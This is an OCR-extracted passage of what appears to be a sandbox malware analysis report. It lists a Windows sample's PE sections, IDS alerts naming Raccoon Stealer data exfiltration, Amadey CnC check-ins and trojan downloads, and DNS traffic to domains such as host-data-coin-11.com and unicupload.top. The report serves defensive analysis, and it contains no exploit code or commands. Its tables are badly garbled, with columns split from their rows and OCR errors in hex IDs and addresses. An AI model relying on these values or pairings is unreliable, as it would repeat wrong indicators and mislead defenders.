0x60A442A2 [Tue May 18 22:41:38 2021 UTC]

o o o o o u»

ledcch2e6808b6fbc3aal9660b738ecs
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Rich Headers

Data Directories

Sections

Name Virtual Address
text 0x1000
.data 0x40000
.semunil 0x15d000
.wanexic 0x15e000
.sutolac 0x15f000
.rsrc 0x160000
.reloc 0x169000
Resources

Imports

Possible Origin

Language of compilation system

Dutch

Spanish

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
01/14/22- ICMP 486
04:59:16.383752

01/14/22- ICMP 486
04:59:19.384168

01/14/22- ICMP 486
04:59:25.384391

01/14/22- TCP 2018581
04:59:46.778391

01/14/22- TCP 1201
04:59:46.852816

01/14/22- TCP 1087
04:59:48.529075

01/14/22- TCP 1087
04:59:48.529105

01/14/22- TCP 1087
04:59:48.529276

01/14/22- TCP 1087
04:59:48.529300

Copyright Joe Security LLC 2022

Virtual Size Raw Size Xored PE ZLIB Complexity File Type
0x3e732 0x3e800 False 0.58246875 data
0x11c988 0x1800 False 0.34033203125 data
0x5 0x200 False 0.02734375 data
Oxea 0x200 False 0.02734375 data
0xd93 0xe00 False 0.00697544642857 data
0x83b8 0x8400 False 0.597034801136 data
0x46f6 0x4800 False 0.348198784722 data
Country where language is spoken
Netherlands
Colombia
Message

ICMP Destination Unreachable Communication with Destination Host is Administratively
Prohibited

ICMP Destination Unreachable Communication with Destination Host is Administratively
Prohibited

ICMP Destination Unreachable Communication with Destination Host is Administratively
Prohibited

ET TROJAN Single char EXE direct download likely trojan (multiple families)
ATTACK-RESPONSES 403 Forbidden

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

Entropy
6.96128560054

3.4654687142

0.0

0.0

0.0

5.83105278509

3.69392005174

Source Dest

Port

49873

80

49877

49877

49877

49877

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

49873

Dest IP

Source IP

188.166.28.199 192.168.2.3

188.166.28.199 192.168.2.3

188.166.28.199 192.168.2.3

192.168.2.3 141.8.194.74
141.8.194.74  192.168.2.3
192.168.2.3 185.215.113.35
192.168.2.3 185.215.113.35
192.168.2.3 185.215.113.35
192.168.2.3 185.215.113.35
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Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.529644

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.529842

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.530375

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.530542

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.532410

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.533415

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.533658

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.533828

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.534561

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.535426

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.536529

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.536573

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.537508

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.538930

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.541445

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.541496

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.547617

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.548457

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.549777

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.550542

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.550922

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.551006

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.554806

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.557416

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.557674

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.558083

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.562258

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.562880

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.567846

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.569075

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.570644

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.570761

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.574212

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.575938

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.575977

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.576253

01/14/22- TCP 1087 WEB-MISC whisker tab splice attack 49877 80 192.168.2.3 185.215.113.35
04:59:48.576635
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Timestamp Protocol SID

01/14/22- TCP 1087
04:59:48.581827

01/14/22- TCP 1087

Message

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

04:59:48.583536

01/14/22- TCP 1087
04:59:48.589689

01/14/22- TCP 1087
04:59:48.590834

01/14/22- TCP 1087
04:59:48.592754

01/14/22- TCP
04:59:48.532539

01/14/22- TCP
04:59:58.287383

01/14/22- TCP
04:59:58.987539

01/14/22- TCP 1201
04:59:59.062297

01/14/22- TCP
04:59:59.964384

01/14/22- TCP
05:00:14.624582

01/14/22- TCP
05:00:15.669639

01/14/22- TCP
05:00:16.798518

01/14/22- TCP
05:00:03.120682

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Timestamp
Jan 14, 2022 04:58:57.936820030 CET

Jan 14, 2022 04:58:58.421669006 CET
Jan 14, 2022 04:58:58.599421024 CET
Jan 14, 2022 04:58:59.036449909 CET
Jan 14, 2022 04:58:59.492367029 CET
Jan 14, 2022 04:58:59.987896919 CET
Jan 14, 2022 04:59:01.657037973 CET
Jan 14, 2022 04:59:01.822875977 CET
Jan 14, 2022 04:59:02.000912905 CET
Jan 14, 2022 04:59:04.080883026 CET
Jan 14, 2022 04:59:04.270278931 CET
Jan 14, 2022 04:59:04.438930035 CET
Jan 14, 2022 04:59:04.772653103 CET

Jan 14, 2022 04:59:05.322487116 CET
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WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

2027700 ET TROJAN Amadey CnC Check-In

Source IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

ATTACK-RESPONSES 403 Forbidden

2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt

2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)

2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)

2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)

2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)

Trans ID
0xbd88

0x1002

0x60cf

0x7c36

Oxeae6

0xc5a0

Ox5aa8

0xb998

0x7937

0xa003

0x7652

0x93e2

0x3dc9

0x4db7

2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families)

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
)

Standard query
)

Standard query
0

Standard query
0

Standard query
(0

Standard query
0

Standard query
@

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Source

Port

49877

49877

49877

49877

49877

49878

49897

49873

80

49897

49913

49913

49913

49897

Name

Dest

Port Source IP
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3
80 192.168.2.3

49873 141.8.194.74

80

80

80

80

80

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

data-host-coin-

8.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

host-data-coin-

11.com

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Dest IP
185.215.113.35

185.215.113.35

185.215.113.35

185.215.113.35

185.215.113.35

185.215.113.35

185.163.204.24

141.8.194.74

192.168.2.3

185.163.204.24

185.163.204.24

185.163.204.24

185.163.204.24

185.163.204.24

Class
IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Jan 14, 2022 04:59:05.836077929 CET

Jan 14, 2022 04:59:05.903516054 CET

Jan 14, 2022 04:59:06.080219984 CET

Jan 14, 2022 04:59:06.586293936 CET

Jan 14, 2022 04:59:06.756551981 CET

Jan 14, 2022 04:59:06.931622028 CET

Jan 14, 2022 04:59:10.417393923 CET

Jan 14, 2022 04:59:10.583241940 CET

Jan 14, 2022 04:59:10.807693005 CET

Jan 14, 2022 04:59:10.978353024 CET

Jan 14, 2022 04:59:13.136306047 CET

Jan 14, 2022 04:59:13.308692932 CET

Jan 14, 2022 04:59:13.480348110 CET

Jan 14, 2022 04:59:13.673835993 CET

Jan 14, 2022 04:59:15.852540970 CET

Jan 14, 2022 04:59:16.019736052 CET

Jan 14, 2022 04:59:16.194268942 CET

Jan 14, 2022 04:59:37.402025938 CET

Jan 14, 2022 04:59:37.569633961 CET

Jan 14, 2022 04:59:37.741621017 CET

Jan 14, 2022 04:59:37.911159039 CET

Jan 14, 2022 04:59:38.119282007 CET

Jan 14, 2022 04:59:38.310786009 CET

Jan 14, 2022 04:59:38.826169968 CET

Jan 14, 2022 04:59:39.012763023 CET

Jan 14, 2022 04:59:39.222218990 CET

Jan 14, 2022 04:59:39.409629107 CET

Jan 14, 2022 04:59:39.579499006 CET

Jan 14, 2022 04:59:39.776551008 CET

Jan 14, 2022 04:59:39.972970009 CET

Jan 14, 2022 04:59:40.140419006 CET

Jan 14, 2022 04:59:41.762509108 CET

Jan 14, 2022 04:59:41.929316998 CET

Jan 14, 2022 04:59:42.097152948 CET

Jan 14, 2022 04:59:42.619268894 CET

Jan 14, 2022 04:59:42.788170099 CET

Jan 14, 2022 04:59:43.007805109 CET
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Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Trans ID

0x9fel

0x5e60

0x19ef

0x9734

0x4516

0x6f90

0x1054

Oxfdéd

0x2b7f

0xa8c6

Oxe5e9

0xa452

Oxb6cf

0xe8b0

0x57ee

0x2449

0x90d1

0x31e3

0x5d04

0xal53

0x3a0d

0x2ad0

Ox4cfc

0xbd9c

0x6eb0

0x8dbc

0x5518

0x6941

0x7b12

Oxbaa6

Oxeab0

0x2fb9

0x31c7

0x2946

0x5a61

0x7801

0x4677

OP Code
Standard query
0

Standard query
(0

Standard query
0

Standard query
(0

Standard query
(0

Standard query
(0)

Standard query
0)

Standard query
(0

Standard query
(0)

Standard query
(0)

Standard query
@

Standard query
(0)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
)

Standard query
)

Standard query
()

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
(0

Standard query
0

Name

unicupload.top

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

cdn.discor
dapp.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

goo.su

host-data-coin-
11.com

transfer.sh

host-data-coin-
11.com

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Page 29 of 135



Timestamp

Jan 14, 2022 04:59:43.185044050 CET

Jan 14, 2022 04:59:43.508315086 CET

Jan 14, 2022 04:59:43.717730045 CET

Jan 14, 2022 04:59:43.931668043 CET

Jan 14, 2022 04:59:46.271538019 CET

Jan 14, 2022 04:59:46.470891953 CET

Jan 14, 2022 04:59:46.680732965 CET

Jan 14, 2022 04:59:47.018752098 CET

Jan 14, 2022 04:59:47.208081961 CET

Jan 14, 2022 04:59:47.393491983 CET

Jan 14, 2022 04:59:50.497632027 CET

Jan 14, 2022 04:59:50.683773041 CET

Jan 14, 2022 04:59:50.875883102 CET

Jan 14, 2022 04:59:51.042114019 CET

Jan 14, 2022 04:59:51.220155954 CET

Jan 14, 2022 04:59:54.191374063 CET

Jan 14, 2022 04:59:54.357472897 CET

Jan 14, 2022 04:59:54.527290106 CET

Jan 14, 2022 04:59:56.675244093 CET

Jan 14, 2022 04:59:56.848815918 CET

Jan 14, 2022 04:59:57.050348997 CET

Jan 14, 2022 04:59:58.553850889 CET

Jan 14, 2022 04:59:58.746254921 CET

Jan 14, 2022 04:59:59.226322889 CET

Jan 14, 2022 04:59:59.460711956 CET

Jan 14, 2022 04:59:59.640183926 CET

Jan 14, 2022 04:59:59.863010883 CET

Jan 14, 2022 05:00:00.027681112 CET

Jan 14, 2022 05:00:04.050385952 CET

Jan 14, 2022 05:00:12.784190893 CET

DNS Answers

Timestamp Source IP

Jan 14, 2022
04:58:58.250190973
CET

Jan 14, 2022
04:58:58.442079067
CET

Jan 14, 2022
04:58:58.886639118
CET

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2022

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID
Oxbd88

0x1002

0x60cf

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

No error (0)

No error (0)

No error (0)

Trans ID

0x588¢

Oxlaef

Oxad97

0x2957

0xd604

0x3e52

0xe48b

Oxd2df

0xf415

Oxa9e5

0x7758

0x8e87

Ox2acc

0xdd66

0x307e

0x3fcd

0x3a36

0x81d

0x762b

Oxe43c

0x5ec5

0x3149

0x5336

0x8753

0x71el

Oxad75

0ox7fof

0x7d46

Oxca23

Oxc7e2

Name

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

OP Code
Standard query
)

Standard query
)

Standard query
)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
()

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
)

Standard query
()

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
(©)

CName

Name

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

a0621298.x
sph.ru

host-data-coin-
11.com

host-data-coin-
11.com

transfer.sh

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

transfer.sh

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

cdn.discor
dapp.com

Address

94.142.143.91

94.142.143.91

94.142.143.91

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Jan 14, 2022
04:58:59.337162971
CET

Jan 14, 2022
04:58:59.808490038
CET

Jan 14, 2022
04:59:00.296633005
CET

Jan 14, 2022
04:59:01.674735069
CET

Jan 14, 2022
04:59:01.842137098
CET

Jan 14, 2022
04:59:02.288902044
CET

Jan 14, 2022
04:59:04.100373983
CET

Jan 14, 2022
04:59:04.289714098
CET

Jan 14, 2022
04:59:04.458097935
CET

Jan 14, 2022
04:59:05.100713968
CET

Jan 14, 2022
04:59:05.676515102
CET

Jan 14, 2022
04:59:05.857112885
CET

Jan 14, 2022
04:59:05.924907923
CET

Jan 14, 2022
04:59:06.419181108
CET

Jan 14, 2022
04:59:06.605556011
CET

Jan 14, 2022
04:59:06.777210951
CET

Jan 14, 2022
04:59:07.219146013
CET

Jan 14, 2022
04:59:10.436482906
CET

Jan 14, 2022
04:59:10.602279902
CET

Jan 14, 2022
04:59:10.827039957
CET

Jan 14, 2022
04:59:10.997534037
CET

Jan 14, 2022
04:59:13.155534029
CET

Jan 14, 2022
04:59:13.328099966
CET

Jan 14, 2022
04:59:13.499604940
CET

Jan 14, 2022
04:59:13.696434975
CET

Jan 14, 2022
04:59:13.696434975
CET

Copyright Joe Security LLC 2022

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x7c36

Oxeae6

Oxc5a0

Ox5aa8

0xb998

0x7937

0xa003

0x7652

0x93e2

0x3dc9

Ox4db7

0x9fel

0x5e60

0Ox19ef

0x9734

0x4516

0x6f90

0x1054

Oxfdéd

0x2b7f

Oxa8c6

Oxe5e9

Oxad52

Oxbécf

0xe8b0

0xe8b0

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

unicupload.top

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

cdn.discor
dapp.com

cdn.discor
dapp.com

Address
94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

54.38.220.85

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

162.159.133.233 A (IP address)

162.159.129.233 A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Jan 14, 2022 8.8.8.8
04:59:13.696434975
CET

Jan 14, 2022 8.8.8.8
04:59:13.696434975
CET

Jan 14, 2022 8.8.8.8
04:59:13.696434975
CET

Jan 14, 2022 8.8.8.8
04:59:15.869771957
CET

Jan 14, 2022 8.8.8.8
04:59:16.038958073
CET

Jan 14, 2022 8.8.8.8
04:59:16.211462021
CET

Jan 14, 2022 8.8.8.8
04:59:37.419707060
CET

Jan 14, 2022 8.8.8.8
04:59:37.588934898
CET

Jan 14, 2022 8.8.8.8
04:59:37.763266087
CET

Jan 14, 2022 8.8.8.8
04:59:37.928505898
CET

Jan 14, 2022 8.8.8.8
04:59:38.136437893
CET

Jan 14, 2022 8.8.8.8
04:59:38.649342060
CET

Jan 14, 2022 8.8.8.8
04:59:38.845807076
CET

Jan 14, 2022 8.8.8.8
04:59:39.032780886
CET

Jan 14, 2022 8.8.8.8
04:59:39.241664886
CET

Jan 14, 2022 8.8.8.8
04:59:39.427237034
CET

Jan 14, 2022 8.8.8.8
04:59:39.598696947
CET

Jan 14, 2022 8.8.8.8
04:59:39.795768023
CET

Jan 14, 2022 8.8.8.8
04:59:39.992176056
CET

Jan 14, 2022 8.8.8.8
04:59:40.159840107
CET

Jan 14, 2022 8.8.8.8
04:59:41.781734943
CET

Jan 14, 2022 8.8.8.8
04:59:41.948843002
CET

Jan 14, 2022 8.8.8.8
04:59:42.118859053
CET

Jan 14, 2022 8.8.8.8
04:59:42.118859053
CET

Jan 14, 2022 8.8.8.8
04:59:42.638514042
CET

Jan 14, 2022 8.8.8.8
04:59:42.807667017
CET

Copyright Joe Security LLC 2022

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

